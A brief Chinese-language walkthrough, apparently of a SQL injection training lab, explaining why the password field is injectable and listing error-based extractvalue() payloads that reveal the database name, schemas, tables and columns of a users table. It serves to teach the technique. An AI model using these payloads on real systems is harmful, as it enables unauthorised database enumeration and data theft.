我们先来看看源码
这里我们可以看到,首先进行上传数据的判断,但是$uname是通过上面的check_input函数进行相关过滤所以用户名必须要正确,密码可以忽略。
所以本关在密码这里找到突破口
可以看出在得到row变量之后,如果不为空,代码将要使用我们的passwd替换password
所以我们本次用的报错注入
这里会有两个报错注入函数updatexml()和extractvalue()
这里我使用的是extractvalue()函数来进行注入
首先查看数据库名: 'and extractvalue(1,concat('%',database())) --+
可以发现数据库名为:security
查看所有数据库:' and extractvalue(1,concat('%',(select group_concat(schema_name) from information_schema.schemata))) --+
查看数据库中所有表:' and extractvalue(1,concat('%',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
查看uesr表中所有字段:'and extractvalue(1,concat('%',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
完成!